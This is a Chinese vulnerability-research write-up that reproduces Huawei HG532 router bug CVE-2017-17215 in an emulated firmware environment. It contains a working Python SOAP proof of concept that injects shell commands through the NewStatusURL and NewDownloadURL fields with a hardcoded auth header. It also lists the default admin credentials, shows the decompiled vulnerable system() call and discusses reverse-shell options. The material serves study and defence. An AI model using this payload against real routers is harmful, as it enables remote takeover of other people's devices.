华为路由器漏洞CVE-2017-17215复现分析
字数 1316 2025-08-20 18:18:24

CVE-2017-17215 华为路由器远程命令执行漏洞复现与分析

漏洞概述

CVE-2017-17215是华为HG532系列路由器中存在的远程命令执行漏洞。该漏洞源于设备未对UPnP服务中的特殊函数入口进行有效过滤,攻击者可通过构造恶意SOAP请求实现任意命令执行。

受影响产品:华为HG532系列路由器(家庭和小型办公用高速无线路由器)

漏洞类型:远程命令执行

漏洞原理:未对代码中可执行的特殊函数入口做过滤,导致攻击者可提交恶意构造的语句让服务器端执行。类似web应用中的system、eval、exec等函数未过滤用户输入的情况。

环境准备

所需工具

  • binwalk:用于固件解压
  • QEMU:用于模拟MIPS架构环境
  • 华为HG532固件:HG532eV100R001C01B020_upgrade_packet.bin
  • Python requests库:用于发送POC

固件解压

  1. 解压原始固件文件
  2. 使用binwalk解压固件内容:
binwalk -Me HG532eV100R001C01B020_upgrade_packet.bin

解压后会得到squashfs-root文件夹,包含路由器的文件系统。

QEMU环境搭建

安装依赖

sudo apt-get install qemu
sudo apt-get install qemu binfmt-support qemu-user-static

下载QEMU镜像

下载与固件匹配的MIPS 32位大端镜像:

wget https://people.debian.org/~aurel32/qemu/mips/debian_squeeze_mips_standard.qcow2
wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-2.6.32-5-4kc-malta

配置网络

  1. 创建虚拟网桥:
sudo apt-get install bridge-utils
sudo brctl addbr Virbr0
sudo ifconfig Virbr0 192.168.153.1/24 up
  1. 创建tap接口并添加到网桥:
sudo tunctl -t tap0
sudo ifconfig tap0 192.168.153.11/24 up
sudo brctl addif Virbr0 tap0

启动虚拟机

sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta \
-hda debian_squeeze_mips_standard.qcow2 \
-append "root=/dev/sda1 console=tty0" \
-netdev tap,id=tapnet,ifname=tap0,script=no \
-device rtl8139,netdev=tapnet -nographic

虚拟机内配置

  1. 设置IP地址:
ifconfig eth0 192.168.153.2/24 up
  1. 将解压的文件系统复制到虚拟机:
scp -r squashfs-root/ root@192.168.153.2:~/
  1. 挂载必要的目录:
mount -o bind /dev ./squashfs-root/dev
mount -t proc /proc ./squashfs-root/proc
  1. 启动chroot环境:
chroot squashfs-root sh
  1. 在另一个终端通过SSH连接并启动路由器服务:
ssh root@192.168.153.2
chroot squashfs-root /bin/sh
./bin/upnp
./bin/mic
  1. 重新配置IP(因服务启动会改变网络配置):
ifconfig eth0 192.168.153.2/24 up
ifconfig br0 192.168.153.11/24 up

默认管理凭据

  • 用户名:admin
  • 密码:@Hua1234

漏洞复现

POC代码

import requests

headers = {
    "Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
}

data = '''<?xml version="1.0" ?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
<NewStatusURL>;mkdir /bin/hell;</NewStatusURL>
<NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
</u:Upgrade>
</s:Body>
</s:Envelope>
'''

requests.post('http://192.168.153.2:37215/ctrlt/DeviceUpgrade_1', headers=headers, data=data)

漏洞利用说明

  • 注入点在<NewStatusURL><NewDownloadURL>节点
  • 使用分号;分隔命令
  • 示例中创建了/bin/hell目录作为验证

双注入点验证

修改POC,同时在两个节点注入命令:

data = '''<?xml version="1.0" ?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
<NewStatusURL>;mkdir hell;</NewStatusURL>
<NewDownloadURL>;mkdir hello;</NewDownloadURL>
</u:Upgrade>
</s:Body>
</s:Envelope>
'''

漏洞原理分析

关键代码分析

使用Ghidra分析二进制文件,搜索字符串"NewStatusURL"找到关键函数:

int FUN_0040749c(int param_1) {
    int iVar1;
    char *local_418;
    char *local_414;
    char acStack1040[1028];
    
    iVar1 = ATP_XML_GetChildNodeByName(*(int *)(param_1 + 0x2c), "NewDownloadURL", (int *)0x0, &local_418);
    if (((iVar1 == 0) && (local_418 != (char *)0x0)) && 
        (iVar1 = ATP_XML_GetChildNodeByName(*(int *)(param_1 + 0x2c), "NewStatusURL", (int *)0x0, &local_414), iVar1 == 0)) {
        if (local_414 != (char *)0x0) {
            snprintf(acStack1040, 0x400, "upg -g -U %s -t '1 Firmware Upgrade Image' -c upnp -r %s -d -b", local_418, local_414);
            system(acStack1040);
        }
    }
    return iVar1;
}

漏洞形成原因

  1. 从XML中提取NewDownloadURLNewStatusURL节点的内容
  2. 使用snprintf将这两个值拼接到命令字符串中
  3. 通过system函数执行拼接后的命令
  4. 未对用户输入进行任何过滤,导致命令注入

UPnP服务分析

  • 设备支持"DeviceUpgrade"服务
  • 通过向"/ctrlt/DeviceUpgrade_1"发送SOAP请求执行固件升级
  • 利用NewStatusURLNewDownloadURL两个元素实现命令注入

扩展思考

反弹Shell可能性

  1. 路由器环境中缺少常见工具如nc、python等
  2. 可能的解决方案:
    • 交叉编译MIPS架构的客户端程序
    • 将客户端上传到路由器执行
    • 在攻击机上运行服务端

漏洞挖掘方法论

  1. 固件分析流程:

    • 获取并解压固件
    • 识别网络服务组件
    • 分析UPnP服务实现
    • 追踪用户输入处理流程
  2. 关键点:

    • 查找system等危险函数调用
    • 分析XML解析流程
    • 验证所有用户可控输入点

参考链接

  • 原始分析文章:先知社区
  • CheckPoint漏洞报告
  • Huawei安全公告
CVE-2017-17215 华为路由器远程命令执行漏洞复现与分析 漏洞概述 CVE-2017-17215是华为HG532系列路由器中存在的远程命令执行漏洞。该漏洞源于设备未对UPnP服务中的特殊函数入口进行有效过滤,攻击者可通过构造恶意SOAP请求实现任意命令执行。 受影响产品 :华为HG532系列路由器(家庭和小型办公用高速无线路由器) 漏洞类型 :远程命令执行 漏洞原理 :未对代码中可执行的特殊函数入口做过滤,导致攻击者可提交恶意构造的语句让服务器端执行。类似web应用中的system、eval、exec等函数未过滤用户输入的情况。 环境准备 所需工具 binwalk:用于固件解压 QEMU:用于模拟MIPS架构环境 华为HG532固件:HG532eV100R001C01B020_ upgrade_ packet.bin Python requests库:用于发送POC 固件解压 解压原始固件文件 使用binwalk解压固件内容: 解压后会得到 squashfs-root 文件夹,包含路由器的文件系统。 QEMU环境搭建 安装依赖 下载QEMU镜像 下载与固件匹配的MIPS 32位大端镜像: 配置网络 创建虚拟网桥: 创建tap接口并添加到网桥: 启动虚拟机 虚拟机内配置 设置IP地址: 将解压的文件系统复制到虚拟机: 挂载必要的目录: 启动chroot环境: 在另一个终端通过SSH连接并启动路由器服务: 重新配置IP(因服务启动会改变网络配置): 默认管理凭据 : 用户名:admin 密码:@Hua1234 漏洞复现 POC代码 漏洞利用说明 注入点在 <NewStatusURL> 和 <NewDownloadURL> 节点 使用分号 ; 分隔命令 示例中创建了 /bin/hell 目录作为验证 双注入点验证 修改POC,同时在两个节点注入命令: 漏洞原理分析 关键代码分析 使用Ghidra分析二进制文件,搜索字符串"NewStatusURL"找到关键函数: 漏洞形成原因 从XML中提取 NewDownloadURL 和 NewStatusURL 节点的内容 使用 snprintf 将这两个值拼接到命令字符串中 通过 system 函数执行拼接后的命令 未对用户输入进行任何过滤,导致命令注入 UPnP服务分析 设备支持"DeviceUpgrade"服务 通过向"/ctrlt/DeviceUpgrade_ 1"发送SOAP请求执行固件升级 利用 NewStatusURL 和 NewDownloadURL 两个元素实现命令注入 扩展思考 反弹Shell可能性 路由器环境中缺少常见工具如nc、python等 可能的解决方案: 交叉编译MIPS架构的客户端程序 将客户端上传到路由器执行 在攻击机上运行服务端 漏洞挖掘方法论 固件分析流程: 获取并解压固件 识别网络服务组件 分析UPnP服务实现 追踪用户输入处理流程 关键点: 查找system等危险函数调用 分析XML解析流程 验证所有用户可控输入点 参考链接 原始分析文章:先知社区 CheckPoint漏洞报告 Huawei安全公告